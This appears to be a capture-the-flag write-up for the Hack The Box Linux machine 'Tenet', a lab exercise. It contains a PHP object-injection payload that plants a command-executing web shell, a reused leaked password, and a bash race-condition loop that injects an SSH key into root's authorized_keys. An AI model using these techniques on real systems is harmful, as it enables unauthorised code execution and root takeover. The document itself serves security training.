Tenet

This is a Medium rated Linux machine that focuses on an attacker’s enumeration skills and understanding on the concepts of PHP deserialisation as well as race conditions.
This machine was retired on 13 June 2021 (SGT).
I will be using a Kali Linux virtual machine to attempt this box. Before I start, I will map the machine’s IP address to a domain name, usually using the machine’s name and the TLD .htb
.
kali@kali:~$ echo "10.10.10.223 tenet.htb" | sudo tee -a /etc/hosts
Reconnaissance and Enumeration
Nmap
Running a nmap
TCP port scan revealed the following open TCP ports:
kali@kali:~$ nmap -sT -sV -sC -O -p- tenet.htb
Nmap scan report for tenet.htb (10.10.10.223)
Host is up (0.044s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=1/17%OT=22%CT=1%CU=34393%PV=Y%DS=2%DC=I%G=Y%TM=60043BF
OS:F%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=109%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.75 seconds
80/tcp (Apache Web Server, WordPress)
Browsing to http://10.10.10.223
revealed a default page for Apache. Nothing interesting here. Our Nmap results showed a WordPress site when enumerated with the domain name tenet.htb
.
WordPress is an open-source content management system written in PHP commonly used as a blog.
Looking through the content of the WordPress site, an interesting comment surfaces under the post titled Migration
.
The post mentioned of migrating from a flat file structure to “something a bit more substantial”, which could be inferred as this WordPress site. My understanding of the comment is that a particular file sator.php
and its backup has not been removed and could still be accessed somehow. Assuming that tenet.htb
is a WordPress virtual host instance (in a separate directory on the web server), I tried requesting for the file via the machine’s IP address http://10.10.10.223/sator.php
.
Remembering the backup mentioned in the comment, I tried appending the usual file extension used for backups .bak and it worked. The file is downloaded and could be viewed locally.
<?php
class DatabaseExport
{
public $user_file = 'users.txt';
public $data = '';
public function update_db()
{
echo '[+] Grabbing users from text file <br>';
$this-> data = 'Success';
}
public function __destruct()
{
file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
echo '[] Database updated <br>';
// echo 'Gotta get this working properly...';
}
}
$input = $_GET['arepo'] ?? '';
$databaseupdate = unserialize($input);
$app = new DatabaseExport;
$app -> update_db();
?>
PHP Deserialisation Vulnerability
Looking at the source code of sator.php
, unsanitised user data via the GET parameter arepo
is passed into the unserialize
PHP function, allowing attackers to potentially perform PHP object injection by exploiting vulnerable classes present in the application. A class is vulnerable if it contains PHP magic methods. In the case of sator.php
, the class DatabaseExport
is a very juicy candidate as it contains the magic method __destruct()
, which in this case writes the value of the variable data to user_file
.
O:14:"DatabaseExport":2:{s:9:"user_file";s:6:"zx.php";s:4:"data";s:28:"<?php system($_GET['c']); ?>";}
The above payload will allow me to create a file zx.php
containing PHP code to execute commands on the system. To execute the exploit, add the payload to the request http://10.10.10.223/sator.php?arepo=O%3A14%3A%22DatabaseExport%22%3A2%3A%7Bs%3A9%3A%22user_file%22%3Bs%3A6%3A%22zx.php%22%3Bs%3A4%3A%22data%22%3Bs%3A28%3A%22%3C%3Fphp%20system%28%24_GET%5B%27c%27%5D%29%3B%20%3F%3E%22%3B%7D
. The web shell can then be access from http://10.10.10.223/zx.php
.
Initial Foothold: www-data
With a web shell, our presence is pretty limited but there should be information lying around on the system for us to gain persistence. Listing the directory of /home
and the contents of /etc/passwd
revealed the presence of the user neil
. Enumerating the WordPress configuration revealed a password that possibly belongs to neil
.
Using the credentials neil:Opera2112
, SSH into the machine.
kali@kali:~$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
neil@tenet:~$
user.txt
The user flag is located in the home directory of neil
.
neil@tenet:~$ ls -l
total 4
-r-------- 1 neil neil 33 Jan 22 16:52 user.txt
neil@tenet:~$ cat user.txt
961b****************************
Local System Enumeration
Running LinEnum revealed that neil
is able to execute sudo
on the script /usr/local/bin/enableSSH.sh
. This can also be achieved by executing sudo -l
as neil
.
/usr/local/bin/enableSSH.sh
#!/bin/bash
checkAdded() {
sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)
if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then
/bin/echo "Successfully added $sshName to authorized_keys file!"
else
/bin/echo "Error in adding $sshName to authorized_keys file!"
fi
}
checkFile() {
if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then
/bin/echo "Error in creating key file!"
if [[ -f $1 ]]; then /bin/rm $1; fi
exit 1
fi
}
addKey() {
tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)
(umask 110; touch $tmpName)
/bin/echo $key >>$tmpName
checkFile $tmpName
/bin/cat $tmpName >>/root/.ssh/authorized_keys
/bin/rm $tmpName
}
key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"
addKey
checkAdded
The script enableSSH.sh
writes a hard-coded SSH public key into a temporary file created using mktemp
with a random name starting with /tmp/ssh-
, then appending the contents of the temporary file to /root/.ssh/authorized_keys
. This will allow a user possessing the private key that is paired with the appended public key to SSH into the machine as root
.
Exploiting Race Condition in enableSSH.sh
Before creating the temporary file, umask 110
is executed which makes all files created by the script afterwards writable by all users. Creating the temporary file also introduces a race condition where another process could overwrite the contents of the file before the next line in the script is executed. We can take advantage of this by finding files in /tmp
starting with ssh-
constantly and overwrite them with our own SSH public key.
#!/usr/bin/env bash
TDIR=$(mktemp -d)
echo "ssh-ed25519 AAAA****************************************************************" > ${TDIR}/sshkey
while true; do
find /tmp -maxdepth 1 -iname "ssh-*" -type f -exec cp ${TDIR}/sshkey {} \;
done
The above bash script will continuously find a file in /tmp
that starts with ssh-
and copy my SSH key (hard-coded into the script) to it. I opened a second SSH session and executed the script, and ran sudo enableSSH.sh
in the original SSH session. As this is exploiting a race condition, it may take a few tries to succeed.
Once done, stop the script and SSH to the machine as root
with your SSH private key.
kali@kali:~$ ssh -i /path/to/ssh_key [email protected]
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64)
root@tenet:~#
root.txt
The root flag is located in the home directory of root
.
root@tenet:~# ls -l
total 4
-r-------- 1 root root 33 Jan 22 16:52 root.txt
root@tenet:~# cat root.txt
b7b6****************************